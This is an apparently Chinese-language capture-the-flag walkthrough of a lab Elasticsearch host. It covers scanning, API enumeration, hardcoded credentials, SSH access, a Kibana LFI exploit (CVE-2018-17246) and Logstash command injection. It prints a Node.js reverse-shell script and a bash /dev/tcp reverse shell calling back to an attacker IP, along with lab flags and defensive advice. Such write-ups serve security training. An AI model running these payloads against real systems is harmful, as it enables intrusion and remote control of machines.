Elasticsearch 安全漏洞利用与权限提升综合指南<\/h1>

1. 信息收集阶段<\/h2>

1.1 目标识别与端口扫描<\/h3>
目标IP: 10.10.10.115<\/code><\/p>
开放端口:<\/p>

22\/tcp: OpenSSH 7.4<\/li>
80\/tcp: nginx 1.12.2<\/li>
9200\/tcp: nginx 1.12.2 (运行Elasticsearch服务)<\/li>
<\/ul>
扫描命令:<\/p>
ip=<\/span>'10.10.10.115'<\/span>; itf=<\/span>'tun0'<\/span>
<\/span><\/span>if<\/span> nmap -Pn -sn "<\/span>$ip"<\/span> | grep -q "Host is up"<\/span>; then<\/span>
<\/span><\/span>  echo -e "\e[32m[+] Target <\/span>$ip is up, scanning ports...\e[0m"<\/span>
<\/span><\/span>  ports=<\/span>$(<\/span>sudo masscan -p1-65535,U:1-65535 "<\/span>$ip"<\/span> --rate=<\/span>1000<\/span> -e "<\/span>$itf"<\/span> | awk '\/open\/ {print $4}'<\/span> | cut -d '\/'<\/span> -f1 | sort -n | tr '\n'<\/span> ','<\/span> | sed 's\/,$\/\/'<\/span>)<\/span>
<\/span><\/span>  if<\/span> [<\/span> -n "<\/span>$ports"<\/span> ]<\/span>; then<\/span>
<\/span><\/span>    echo -e "\e[34m[+] Open ports found on <\/span>$ip: <\/span>$ports\e[0m"<\/span>
<\/span><\/span>    nmap -Pn -sV -sC -p "<\/span>$ports"<\/span> "<\/span>$ip"<\/span>
<\/span><\/span>  else<\/span>
<\/span><\/span>    echo -e "\e[31m[!] No open ports found on <\/span>$ip.\e[0m"<\/span>
<\/span><\/span>  fi<\/span>
<\/span><\/span>else<\/span>
<\/span><\/span>  echo -e "\e[31m[!] Target <\/span>$ip is unreachable, network is down.\e[0m"<\/span>
<\/span><\/span>fi<\/span>
<\/span><\/span><\/code><\/pre>1.2 Elasticsearch API 信息收集<\/h3>
Elasticsearch cat API 端点:<\/p>

基本URL: http:\/\/10.10.10.115:9200\/<\/code><\/li>
文档参考: https:\/\/www.elastic.co\/guide\/en\/elasticsearch\/reference\/6.4\/cat.html<\/li>
<\/ul>
常用查询命令:<\/p>
# 查询集群中的索引模板<\/span>
<\/span><\/span>curl http:\/\/10.10.10.115:9200\/_cat\/
<\/span><\/span>
<\/span><\/span># 查询所有索引<\/span>
<\/span><\/span>curl http:\/\/10.10.10.115:9200\/_cat\/indices
<\/span><\/span>
<\/span><\/span># 从quotes索引获取253条记录并保存<\/span>
<\/span><\/span>curl -s 'http:\/\/10.10.10.115:9200\/quotes\/_search?size=253'<\/span> | jq '.hits.hits[]._source.quote'<\/span> > \/tmp\/quotes
<\/span><\/span><\/code><\/pre>2. 初始访问<\/h2>
2.1 获取凭据<\/h3>
发现硬编码凭据:<\/p>
username: security
password: spanish.is.key
<\/code><\/pre>
Base64编码形式:<\/p>
dXNlcjogc2VjdXJpdHk=
cGFzczogc3BhbmlzaC5pcy5rZXk=
<\/code><\/pre>
2.2 SSH登录<\/h3>
使用获取的凭据通过SSH登录:<\/p>
ssh security@10.10.10.115
<\/span><\/span><\/code><\/pre>3. 权限提升技术<\/h2>
3.1 TRP00F 提权工具<\/h3>
使用TRP00F进行权限提升:<\/p>
python3 trp00f.py --lhost 10.10.16.33 --lport 10000<\/span> --rhost 10.10.16.33 --rport 10032<\/span> --http 9999<\/span>
<\/span><\/span><\/code><\/pre>当询问是否利用'pkexec'漏洞时选择'y'<\/p>
GitHub项目: https:\/\/github.com\/MartinxMax\/trp00f<\/p>
3.2 Kibana 6.4.2 LFI漏洞利用<\/h3>
Kibana本地文件包含(LFI)漏洞利用步骤:<\/p>

创建反向shell脚本:<\/li>
<\/ol>
cat > \/dev\/shm\/shell.js <<EOF
<\/span><\/span><\/span>(function(){
<\/span><\/span><\/span>  var net = require("net"),
<\/span><\/span><\/span>      cp = require("child_process"),
<\/span><\/span><\/span>      sh = cp.spawn("\/bin\/sh", []);
<\/span><\/span><\/span>  var client = new net.Socket();
<\/span><\/span><\/span>  client.connect(443, "10.10.16.33", function(){
<\/span><\/span><\/span>    client.pipe(sh.stdin);
<\/span><\/span><\/span>    sh.stdout.pipe(client);
<\/span><\/span><\/span>    sh.stderr.pipe(client);
<\/span><\/span><\/span>  });
<\/span><\/span><\/span>  return \/a\/; \/\/ Prevents the Node.js application form crashing
<\/span><\/span><\/span>})();
<\/span><\/span><\/span>EOF<\/span>
<\/span><\/span><\/code><\/pre>
利用LFI漏洞执行脚本:<\/li>
<\/ol>
curl 'http:\/\/127.0.0.1:5601\/api\/console\/api_server?sense_version=@@SENSE_VERSION&apis=dev\/shm\/shell.js'<\/span>
<\/span><\/span><\/code><\/pre>参考: CVE-2018-17246 (https:\/\/github.com\/mpgn\/CVE-2018-17246)<\/p>
3.3 Logstash 权限提升<\/h3>
利用Logstash配置漏洞进行权限提升:<\/p>

创建恶意输入文件:<\/li>
<\/ol>
echo 'Ejecutar comando : bash -i >& \/dev\/tcp\/10.10.16.33\/10033 0>&1'<\/span> > \/opt\/kibana\/logstash_rev
<\/span><\/span><\/code><\/pre>
Logstash配置分析:<\/li>
<\/ol>
filter {
<\/span><\/span>  if<\/span> [<\/span>type]<\/span> ==<\/span> "execute"<\/span> {
<\/span><\/span>    grok {
<\/span><\/span>      match =><\/span> { "message"<\/span> =><\/span> "Ejecutar<\/span>\s<\/span>*comando<\/span>\s<\/span>*:<\/span>\s<\/span>+%{GREEDYDATA:comando}"<\/span> }
<\/span><\/span>    }
<\/span><\/span>  }
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>input {
<\/span><\/span>  file {
<\/span><\/span>    path =><\/span> "\/opt\/kibana\/logstash_*"<\/span>
<\/span><\/span>    start_position =><\/span> "beginning"<\/span>
<\/span><\/span>    sincedb_path =><\/span> "\/dev\/null"<\/span>
<\/span><\/span>    stat_interval =><\/span> "10 second"<\/span>
<\/span><\/span>    type =><\/span> "execute"<\/span>
<\/span><\/span>    mode =><\/span> "read"<\/span>
<\/span><\/span>  }
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>output {
<\/span><\/span>  if<\/span> [<\/span>type]<\/span> ==<\/span> "execute"<\/span> {
<\/span><\/span>    stdout { codec =><\/span> json }
<\/span><\/span>    exec { command =><\/span> "%{comando}"<\/span> }
<\/span><\/span>  }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>关键点:<\/p>

Logstash监控\/opt\/kibana\/logstash_*<\/code>文件<\/li>
文件内容匹配特定格式时会执行命令<\/li>
命令执行部分: exec { command => "%{comando}" }<\/code><\/li>
<\/ul>
4. 获取标志<\/h2>

用户标志(User.txt): 1091e84b2be43c7954961bbcca7d2f8c<\/code><\/li>
根标志(Root.txt): e61a148a34817a121876b7721db6445a<\/code><\/li>
<\/ul>
5. 防御建议<\/h2>


Elasticsearch安全措施:<\/p>

不要将Elasticsearch暴露在公网<\/li>
启用身份验证和授权<\/li>
限制API访问<\/li>
<\/ul>
<\/li>

Kibana安全措施:<\/p>

及时更新到最新版本<\/li>
限制访问权限<\/li>
禁用不必要的API<\/li>
<\/ul>
<\/li>

Logstash安全措施:<\/p>

审查配置文件中的命令执行功能<\/li>
限制文件输入源的权限<\/li>
使用最小权限原则运行服务<\/li>
<\/ul>
<\/li>

系统层面:<\/p>

定期更新系统和软件<\/li>
避免使用弱密码或硬编码凭据<\/li>
监控可疑活动<\/li>
<\/ul>
<\/li>
<\/ol>